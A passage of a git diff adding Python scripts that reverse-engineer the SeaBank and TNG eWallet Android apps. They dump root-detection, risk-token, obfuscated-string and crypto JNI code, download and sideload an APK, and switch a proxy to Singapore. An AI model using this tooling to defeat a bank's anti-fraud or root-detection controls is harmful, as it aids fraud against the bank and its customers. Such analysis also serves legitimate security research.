|
||||
|
||||
print("\n=== Promon xwwqazamx classes (sample) ===")
|
||||
for c in sorted(xww)[:40]:
|
||||
print(c)
|
||||
print(f"... total {len(xww)}")
|
||||
|
||||
print("\n=== RPC operationTypes (sample) ===")
|
||||
for o in sorted(ops)[:50]:
|
||||
print(o)
|
||||
14
reverse/scripts/_scan_tng_vhv.py
Normal file
14
reverse/scripts/_scan_tng_vhv.py
Normal file
@@ -0,0 +1,14 @@
|
||||
import zipfile
|
||||
import re
|
||||
|
||||
z = zipfile.ZipFile(r"reverse/dumps/tng_1.9.10_base.apk")
|
||||
names = [n for n in z.namelist() if n.endswith(".dex")]
|
||||
pat = re.compile(rb"Lvhvlnqgy/([^;\s]{1,80});")
|
||||
found = set()
|
||||
for n in names:
|
||||
data = z.read(n)
|
||||
for m in pat.findall(data):
|
||||
found.add(m.decode("ascii", errors="ignore"))
|
||||
print("vhvlnqgy classes", len(found))
|
||||
for c in sorted(found):
|
||||
print(f"vhvlnqgy.{c.replace('/', '.')}")
|
||||
24
reverse/scripts/_scan_tng_vhv_bl.py
Normal file
24
reverse/scripts/_scan_tng_vhv_bl.py
Normal file
@@ -0,0 +1,24 @@
|
||||
"""Dump vhvlnqgy bl/R/bd method refs from TNG 1.9.10 dex."""
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"reverse/dumps/tng_1.9.10_base.apk"
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
for cls in ["Lvhvlnqgy/bl;", "Lvhvlnqgy/R;", "Lvhvlnqgy/bd;", "Lvhvlnqgy/w;", "Lvhvlnqgy/W;", "Lvhvlnqgy/a;"]:
|
||||
print("===", cls, "===")
|
||||
refs = sorted(set(re.findall(cls.encode() + rb"->[^\x00]{1,80}", data)))
|
||||
for r in refs[:30]:
|
||||
print(r.decode("ascii", "ignore"))
|
||||
print()
|
||||
|
||||
print("=== R callers (who invokes R.a/R.b) ===")
|
||||
for m in sorted(set(re.findall(rb"Lvhvlnqgy/[^;]+;->[a-zA-Z]+[^\x00]{0,40}Lvhvlnqgy/R;", data))):
|
||||
print(m.decode("ascii", "ignore"))
|
||||
|
||||
print("\n=== bd throw sites ===")
|
||||
for m in sorted(set(re.findall(rb"[^\x00]{0,40}Lvhvlnqgy/bd;", data))):
|
||||
s = m.decode("ascii", "ignore")
|
||||
if "vhvlnqgy" in s:
|
||||
print(s)
|
||||
15
reverse/scripts/_scan_tng_vhv_u.py
Normal file
15
reverse/scripts/_scan_tng_vhv_u.py
Normal file
@@ -0,0 +1,15 @@
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"reverse/dumps/tng_1.9.10_base.apk"
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
for cls in ["Lvhvlnqgy/w;", "Lvhvlnqgy/u;"]:
|
||||
print("===", cls, "refs ===")
|
||||
pat = cls.encode() + rb"[^\x00]{0,120}"
|
||||
hits = sorted(set(re.findall(pat, data)))
|
||||
for h in hits[:40]:
|
||||
print(h.decode("ascii", "ignore"))
|
||||
print("count", len(hits))
|
||||
print()
|
||||
20
reverse/scripts/analyze_shps_so.py
Normal file
20
reverse/scripts/analyze_shps_so.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
SO = Path(__file__).resolve().parent.parent / "extracted" / "native" / "libshpssdk_bank.so"
|
||||
ndk = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\ndk\21.4.7075529\toolchains\llvm\prebuilt\windows-x86_64\bin")
|
||||
readelf = ndk / "llvm-readelf.exe"
|
||||
out = subprocess.check_output([str(readelf), "-Ws", str(SO)], universal_newlines=True, errors="replace")
|
||||
print("=== JNI Java_* ===")
|
||||
for line in out.splitlines():
|
||||
if "Java_com_shopee" in line:
|
||||
print(line)
|
||||
print("\n=== risk/root/token strings in .dynsym FUNC ===")
|
||||
data = SO.read_bytes()
|
||||
for m in re.finditer(rb"[\x20-\x7e]{4,}", data):
|
||||
s = m.group().decode("latin1")
|
||||
if any(k in s.lower() for k in ["risk", "root", "hook", "token", "proc/", "magisk", "xposed", "emulator", "assess"]):
|
||||
if len(s) < 120:
|
||||
print(s)
|
||||
68
reverse/scripts/clash_switch_sg.py
Normal file
68
reverse/scripts/clash_switch_sg.py
Normal file
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import time
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
BASE = "http://127.0.0.1:9090"
|
||||
|
||||
|
||||
def wait_api(retries=15):
|
||||
for _ in range(retries):
|
||||
try:
|
||||
with urllib.request.urlopen(BASE + "/proxies", timeout=3) as r:
|
||||
return json.loads(r.read())
|
||||
except Exception:
|
||||
time.sleep(1)
|
||||
raise SystemExit("clash api not ready")
|
||||
|
||||
|
||||
def put_proxy(group: str, target: str):
|
||||
enc_g = urllib.parse.quote(group, safe="")
|
||||
req = urllib.request.Request(
|
||||
BASE + "/proxies/" + enc_g,
|
||||
data=json.dumps({"name": target}).encode(),
|
||||
method="PUT",
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=5) as r:
|
||||
print("switched", group, "->", target, "status", r.status)
|
||||
|
||||
|
||||
def main():
|
||||
data = wait_api()
|
||||
proxies = data.get("proxies", {})
|
||||
group = None
|
||||
for gname in ["🚀节点选择", "GLOBAL"]:
|
||||
if gname in proxies:
|
||||
group = gname
|
||||
break
|
||||
if not group:
|
||||
raise SystemExit("selector group not found")
|
||||
|
||||
print("group=", group, "now=", proxies.get(group, {}).get("now"))
|
||||
|
||||
candidates = [
|
||||
"🇸🇬狮城节点",
|
||||
"🇸🇬AWS新加坡01 | 电信移动联通推荐",
|
||||
"🇸🇬新加坡01 | 电信联通推荐",
|
||||
"🇸🇬新加坡 | 高速专线-hy2",
|
||||
]
|
||||
target = next((c for c in candidates if c in proxies), None)
|
||||
if not target:
|
||||
for k in proxies:
|
||||
if "新加坡" in k or "AWS新加坡" in k:
|
||||
target = k
|
||||
break
|
||||
if not target:
|
||||
raise SystemExit("no SG proxy found")
|
||||
|
||||
put_proxy(group, target)
|
||||
|
||||
enc_g = urllib.parse.quote(group, safe="")
|
||||
with urllib.request.urlopen(BASE + "/proxies/" + enc_g, timeout=3) as r:
|
||||
print("verify now=", json.loads(r.read()).get("now"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
5
reverse/scripts/context_wbroot.py
Normal file
5
reverse/scripts/context_wbroot.py
Normal file
@@ -0,0 +1,5 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
data = open(r"C:\Users\Administrator\Desktop\notiMessage\reverse\extracted\classes6.dex", "rb").read()
|
||||
idx = data.find(b"WBRootDetectionModule")
|
||||
print("offset", idx)
|
||||
print(data[idx-120:idx+200].decode("latin1", "ignore"))
|
||||
45
reverse/scripts/decode_shps_strings.py
Normal file
45
reverse/scripts/decode_shps_strings.py
Normal file
@@ -0,0 +1,45 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Decode SHPSSDK obfuscated hex strings via uvuwwwuwu."""
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
# sample pairs from SHPSSDK.wwwwvwwwu
|
||||
samples = [
|
||||
("0F580514065B111F0E1A10", "wuvuvvwvv"),
|
||||
("100F3C013C1C19113F18271F3A36371F2C253C403F323C053F353C013F1C19123F1F3C4F", "uvvvuvvvv"),
|
||||
("0E5806170758131F0D1B10", "vuuvwuuvu"),
|
||||
("120E3D023E1C1A113C1A261E3934371C2C263E413E313A053C353F033E1D1A103F1C3C4C", "wwwuwvuvu"),
|
||||
]
|
||||
|
||||
# dump uvuwwwuwu implementation
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
cap = False
|
||||
print("=== uvuwwwuwu implementation ===")
|
||||
for line in out.splitlines():
|
||||
if "uvuwwwuwu:(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;" in line:
|
||||
cap = True
|
||||
if cap:
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
if cap and "locals :" in line:
|
||||
break
|
||||
|
||||
print("\n=== try XOR decode (common pattern) ===")
|
||||
for hex_str, key in samples:
|
||||
data = bytes.fromhex(hex_str) if all(c in "0123456789ABCDEFabcdef" for c in hex_str) else hex_str.encode()
|
||||
# try simple xor with key bytes cycling
|
||||
kb = key.encode()
|
||||
dec = bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
|
||||
try:
|
||||
txt = dec.decode("utf-8")
|
||||
except Exception:
|
||||
txt = dec.decode("latin1", errors="replace")
|
||||
print(hex_str[:20], "...", "->", repr(txt[:80]))
|
||||
114
reverse/scripts/download_install_tng.py
Normal file
114
reverse/scripts/download_install_tng.py
Normal file
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Download TNG eWallet XAPK from Uptodown eAPI (arm64-v8a)."""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import urllib.request
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
UA = "Mozilla/5.0 (Linux; Android 13) Chrome/120.0.0.0 Mobile Safari/537.36"
|
||||
APP_CODE = "1000382462"
|
||||
VERSION = "1.9.10"
|
||||
ARCH = "arm64-v8a, armeabi-v7a, x86_64"
|
||||
BASE = "https://touch-n-go-ewallet.en.uptodown.com"
|
||||
OUT_XAPK = Path("reverse/dumps/tng_1.9.10.xapk")
|
||||
OUT_DIR = Path("reverse/dumps/tng_xapk_extracted")
|
||||
|
||||
|
||||
def fetch(url: str) -> bytes:
|
||||
req = urllib.request.Request(url, headers={"User-Agent": UA})
|
||||
with urllib.request.urlopen(req, timeout=120) as resp:
|
||||
return resp.read()
|
||||
|
||||
|
||||
def fetch_text(url: str) -> str:
|
||||
return fetch(url).decode("utf-8", "ignore")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
versions = json.loads(fetch_text(f"{BASE}/android/apps/{APP_CODE}/versions/1"))
|
||||
entry = next(x for x in versions["data"] if x["version"] == VERSION)
|
||||
version_id = entry["versionURL"]["versionID"]
|
||||
print(f"version {VERSION} fileID={entry['fileID']} kind={entry['kindFile']}")
|
||||
|
||||
dl_page = fetch_text(f"{BASE}/android/download/{version_id}")
|
||||
m = re.search(r'class="button variants" data-version="(\d+)"', dl_page)
|
||||
if not m:
|
||||
print("variants data-version not found", file=sys.stderr)
|
||||
return 1
|
||||
data_version = m.group(1)
|
||||
print("data_version", data_version)
|
||||
|
||||
files_json = json.loads(fetch_text(f"{BASE}/app/{APP_CODE}/version/{data_version}/files"))
|
||||
content = files_json.get("content", "")
|
||||
# parse variant rows from HTML fragment
|
||||
rows = re.findall(
|
||||
r'class="variant".*?data-file-id="(\d+)".*?<span>([^<]+)</span>',
|
||||
content,
|
||||
flags=re.S,
|
||||
)
|
||||
if not rows:
|
||||
# fallback: any data-file-id near xapk
|
||||
rows = re.findall(r'data-file-id="(\d+)"', content)
|
||||
rows = [(rid, "?") for rid in rows]
|
||||
print("variants", rows)
|
||||
|
||||
target_file_id = None
|
||||
for fid, arch in rows:
|
||||
if ARCH in arch or "arm64-v8a" in arch:
|
||||
target_file_id = fid
|
||||
print("pick", fid, arch)
|
||||
break
|
||||
if not target_file_id and rows:
|
||||
target_file_id = rows[0][0]
|
||||
print("fallback file_id", target_file_id)
|
||||
|
||||
if not target_file_id:
|
||||
print("no file id", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
variant_page = fetch_text(f"{BASE}/android/download/{target_file_id}-x")
|
||||
token_m = re.search(r'id="detail-download-button"[^>]*data-url="(-[^"]+)"', variant_page)
|
||||
if not token_m:
|
||||
token_m = re.search(r'data-url="(-[^"]+)"', variant_page)
|
||||
if not token_m:
|
||||
print("download token not found", file=sys.stderr)
|
||||
return 1
|
||||
token = token_m.group(1)
|
||||
|
||||
print("downloading XAPK...")
|
||||
data = fetch(f"https://dw.uptodown.com/dwn/{token}")
|
||||
OUT_XAPK.write_bytes(data)
|
||||
print("saved", OUT_XAPK, "bytes", len(data))
|
||||
|
||||
with zipfile.ZipFile(OUT_XAPK) as z:
|
||||
apks = [n for n in z.namelist() if n.endswith(".apk")]
|
||||
print("apk splits", apks)
|
||||
if not apks:
|
||||
print("no apk inside xapk", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
if OUT_DIR.exists():
|
||||
import shutil
|
||||
shutil.rmtree(OUT_DIR)
|
||||
OUT_DIR.mkdir(parents=True)
|
||||
import zipfile as zf
|
||||
with zf.ZipFile(OUT_XAPK) as z:
|
||||
z.extractall(OUT_DIR)
|
||||
|
||||
apk_files = sorted(OUT_DIR.rglob("*.apk"))
|
||||
adb = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
cmd = [adb, "install-multiple", "-r"] + [str(p) for p in apk_files]
|
||||
print("install:", " ".join(cmd))
|
||||
r = subprocess.run(cmd, capture_output=True, text=True)
|
||||
print(r.stdout)
|
||||
print(r.stderr)
|
||||
return 0 if r.returncode == 0 else r.returncode
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
100
reverse/scripts/dump_crypto_jni.py
Normal file
100
reverse/scripts/dump_crypto_jni.py
Normal file
@@ -0,0 +1,100 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Dump JNI/native methods for sdkutils crypto + register-related classes."""
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
from typing import List
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
OUT = Path(__file__).resolve().parent.parent / "output" / "crypto_jni_targets.txt"
|
||||
|
||||
CLASS_PATTERNS = [
|
||||
rb"Lcom/shopee/bke/lib/jni/[^;]{1,80};",
|
||||
rb"Lcom/shopee/shpssdkbank/wvvvuwwu;",
|
||||
rb"Lcom/shopee/shpssdkbank/uwuvuvvww/vvuuuuvvv;",
|
||||
rb"Lcom/shopee/shpssdkbank/uwuvuvvww/[^;]{1,40};",
|
||||
]
|
||||
|
||||
EXTRA_KEYWORDS = (
|
||||
b"NativeEncrypt",
|
||||
b"CharacterCrypto",
|
||||
b"SecurityMain",
|
||||
b"encrypt",
|
||||
b"decrypt",
|
||||
b"register",
|
||||
)
|
||||
|
||||
|
||||
def dump_class(out: str, target: str) -> List[str]:
|
||||
lines: list[str] = []
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap:
|
||||
lines.append(line)
|
||||
return lines
|
||||
|
||||
|
||||
def main() -> None:
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
classes: set[str] = set()
|
||||
for pat in CLASS_PATTERNS:
|
||||
for m in re.finditer(pat, data):
|
||||
classes.add(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
for kw in EXTRA_KEYWORDS:
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,120};", data):
|
||||
s = m.group()
|
||||
if kw in s or kw in data[data.find(s) : data.find(s) + 4000]:
|
||||
classes.add(s.decode()[1:-1].replace("/", "."))
|
||||
|
||||
# log tags -> classes from crash log
|
||||
for tag in [
|
||||
"com.shopee.bke.lib.jni.utils.f", # SoUtils
|
||||
"com.shopee.bke.lib.jni.uwuwuwuw",
|
||||
"com.shopee.bke.lib.jni.uvuvuvuv",
|
||||
"com.shopee.bke.lib.jni.uvwwwwuv",
|
||||
]:
|
||||
classes.add(tag)
|
||||
|
||||
native_entries: List[str] = []
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
dex = zf.read(dex_name)
|
||||
hits = [c for c in classes if c.replace(".", "/") in dex.decode("latin1", errors="ignore")]
|
||||
if not hits:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_crypto_jni.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for cls in sorted(hits):
|
||||
block = dump_class(out, "L" + cls.replace(".", "/") + ";")
|
||||
if not block:
|
||||
continue
|
||||
native_entries.append(f"\n=== {dex_name} {cls} ===")
|
||||
for line in block:
|
||||
if any(
|
||||
k in line
|
||||
for k in ("NATIVE", "name :", "type :", "loadLibrary")
|
||||
):
|
||||
native_entries.append(line)
|
||||
|
||||
text = "\n".join(native_entries)
|
||||
OUT.write_text(text, encoding="utf-8")
|
||||
print(text)
|
||||
print(f"\nwritten {OUT}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
31
reverse/scripts/dump_error_handler.py
Normal file
31
reverse/scripts/dump_error_handler.py
Normal file
@@ -0,0 +1,31 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
targets = [
|
||||
"Lcom/shopee/bke/biz/user/errorcodehandler/b;",
|
||||
"Lcom/shopee/bke/biz/user/errorcodehandler/b$a;",
|
||||
"Lcom/shopee/bke/biz/user/errorcodehandler/a;",
|
||||
]
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp6.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes6.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
for target in targets:
|
||||
print("=" * 60, target)
|
||||
capture = False
|
||||
lines = 0
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
capture = True
|
||||
elif capture and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if capture:
|
||||
if "name :" in line or "type :" in line or "Class descriptor" in line:
|
||||
print(line.strip())
|
||||
lines += 1
|
||||
if lines > 200:
|
||||
break
|
||||
20
reverse/scripts/dump_error_iface.py
Normal file
20
reverse/scripts/dump_error_iface.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
target = "Lcom/shopee/bke/biz/user/errorcodehandler/b$a;"
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp6.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes6.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
capture = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
capture = True
|
||||
elif capture and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if capture and ("name :" in line or "type :" in line or "Class descriptor" in line):
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
23
reverse/scripts/dump_global_auth.py
Normal file
23
reverse/scripts/dump_global_auth.py
Normal file
@@ -0,0 +1,23 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp6.dex"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp.write_bytes(zf.read("classes6.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
cls = "GlobalAuthErrorImpl"
|
||||
capture = False
|
||||
for line in out.splitlines():
|
||||
if f"Lcom/shopee/bke/digitalbank/container/user/errorcodehandler/{cls};" in line and "Class descriptor" in line:
|
||||
capture = True
|
||||
if capture:
|
||||
print(line)
|
||||
if line.strip() == "" and "Method" not in line and capture:
|
||||
pass
|
||||
if capture and line.startswith(" Class descriptor") and cls not in line:
|
||||
break
|
||||
52
reverse/scripts/dump_key_methods.py
Normal file
52
reverse/scripts/dump_key_methods.py
Normal file
@@ -0,0 +1,52 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
methods = [
|
||||
("Lcom/shopee/shpssdkbank/SHPSSDK;", "getRiskToken"),
|
||||
("Lcom/shopee/shpssdkbank/wvvvuwwu;", "vvuwuuvuu"),
|
||||
("Lcom/shopee/shpssdkbank/wvvvuwwu;", "vuwuuwvw"),
|
||||
("Lcom/shopee/shpssdkbank/wvvvuwwu;", "vuwuuuwv"),
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
|
||||
for cls, method in methods:
|
||||
needle = f"{cls.replace('L', '').replace(';', '').split('/')[-1]}.{method}:"
|
||||
print("\n" + "=" * 70, cls, method)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if needle in line.replace("com.shopee.shpssdkbank.", ""):
|
||||
cap = True
|
||||
if cap:
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
if line.strip().startswith("catches") or (cap and line.strip() == "locals :"):
|
||||
pass
|
||||
if cap and line.strip() == "" and "positions" in line:
|
||||
break
|
||||
if cap and line.startswith(" name") and method not in line and cap:
|
||||
# next method
|
||||
if methods.index((cls, method)) < len(methods) - 1:
|
||||
break
|
||||
|
||||
# classes8 - sdkutils / crypto
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp8.dex"
|
||||
tmp.write_bytes(zf.read("classes8.dex"))
|
||||
out8 = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for tag in ["CharacterCrypto", "SoUtils", "SecurityMain", "sdkutils", "encrypt"]:
|
||||
print("\n--- search", tag, "in classes8 ---")
|
||||
for line in out8.splitlines():
|
||||
if tag.lower() in line.lower() and ("Class descriptor" in line or "name :" in line):
|
||||
print(line.encode("ascii", "replace").decode()[:200])
|
||||
62
reverse/scripts/dump_native_bridge.py
Normal file
62
reverse/scripts/dump_native_bridge.py
Normal file
@@ -0,0 +1,62 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
targets = [
|
||||
"Lcom/shopee/shpssdkbank/wvvvuwwu;",
|
||||
"Lcom/shopee/shpssdkbank/uwuvuvvww/wvvuuwvwu;",
|
||||
"Lcom/shopee/shpssdkbank/uwuvuvvww/uvwuuuuuw/vvvvuwwvu;",
|
||||
"Lcom/shopee/shpssdkbank/SHPSSDK;",
|
||||
"Lcom/shopee/shpssdkbank/ShpssInstall;",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
dex = zf.read(dex_name)
|
||||
hit = any(t.replace("L", "").replace(";", "") in dex.decode("latin1", errors="ignore") for t in targets)
|
||||
if not hit:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_native.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in targets:
|
||||
if target.replace("L", "").replace(";", "") not in dex.decode("latin1", errors="ignore"):
|
||||
continue
|
||||
print("\n" + "=" * 70)
|
||||
print(dex_name, target)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap:
|
||||
safe = line.encode("ascii", "replace").decode()
|
||||
if any(k in safe for k in ["name", "type", "access", "NATIVE", "Method", "loadLibrary", "register"]):
|
||||
print(safe)
|
||||
|
||||
# find sdkutils / crypto manager classes
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
print("\n--- sdkutils / crypto / dfp classes ---")
|
||||
for pat in [
|
||||
rb"Lcom/[^;]{0,80}sdkutils[^;]{0,20};",
|
||||
rb"Lcom/[^;]{0,80}[Cc]rypto[^;]{0,40};",
|
||||
rb"Lcom/[^;]{0,80}dfp[^;]{0,30};",
|
||||
rb"Lcom/[^;]{0,80}SecurityMain[^;]{0,20};",
|
||||
]:
|
||||
found = set()
|
||||
for m in re.finditer(pat, data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if s not in found:
|
||||
found.add(s)
|
||||
print(s)
|
||||
38
reverse/scripts/dump_phone_register_vm.py
Normal file
38
reverse/scripts/dump_phone_register_vm.py
Normal file
@@ -0,0 +1,38 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
targets = [
|
||||
"Lcom/shopee/bke/biz/user/viewmodel/PhoneNumViewModel;",
|
||||
"Lcom/shopee/bke/biz/user/viewmodel/RegisterViewModel;",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if b"PhoneNumViewModel" not in data and b"RegisterViewModel" not in data:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_user.dex"
|
||||
tmp.write_bytes(data)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in targets:
|
||||
if target.replace("L", "").replace(";", "") not in data.decode("latin1", errors="ignore"):
|
||||
continue
|
||||
print("=" * 60, name, target)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap and ("name :" in line or "type :" in line
|
||||
or "Method" in line or "register" in line.lower()):
|
||||
safe = line.strip().encode("ascii", "replace").decode()
|
||||
print(safe)
|
||||
35
reverse/scripts/dump_register_request.py
Normal file
35
reverse/scripts/dump_register_request.py
Normal file
@@ -0,0 +1,35 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[^;]{0,80}RegisterRequest[^;]{0,20};", data):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
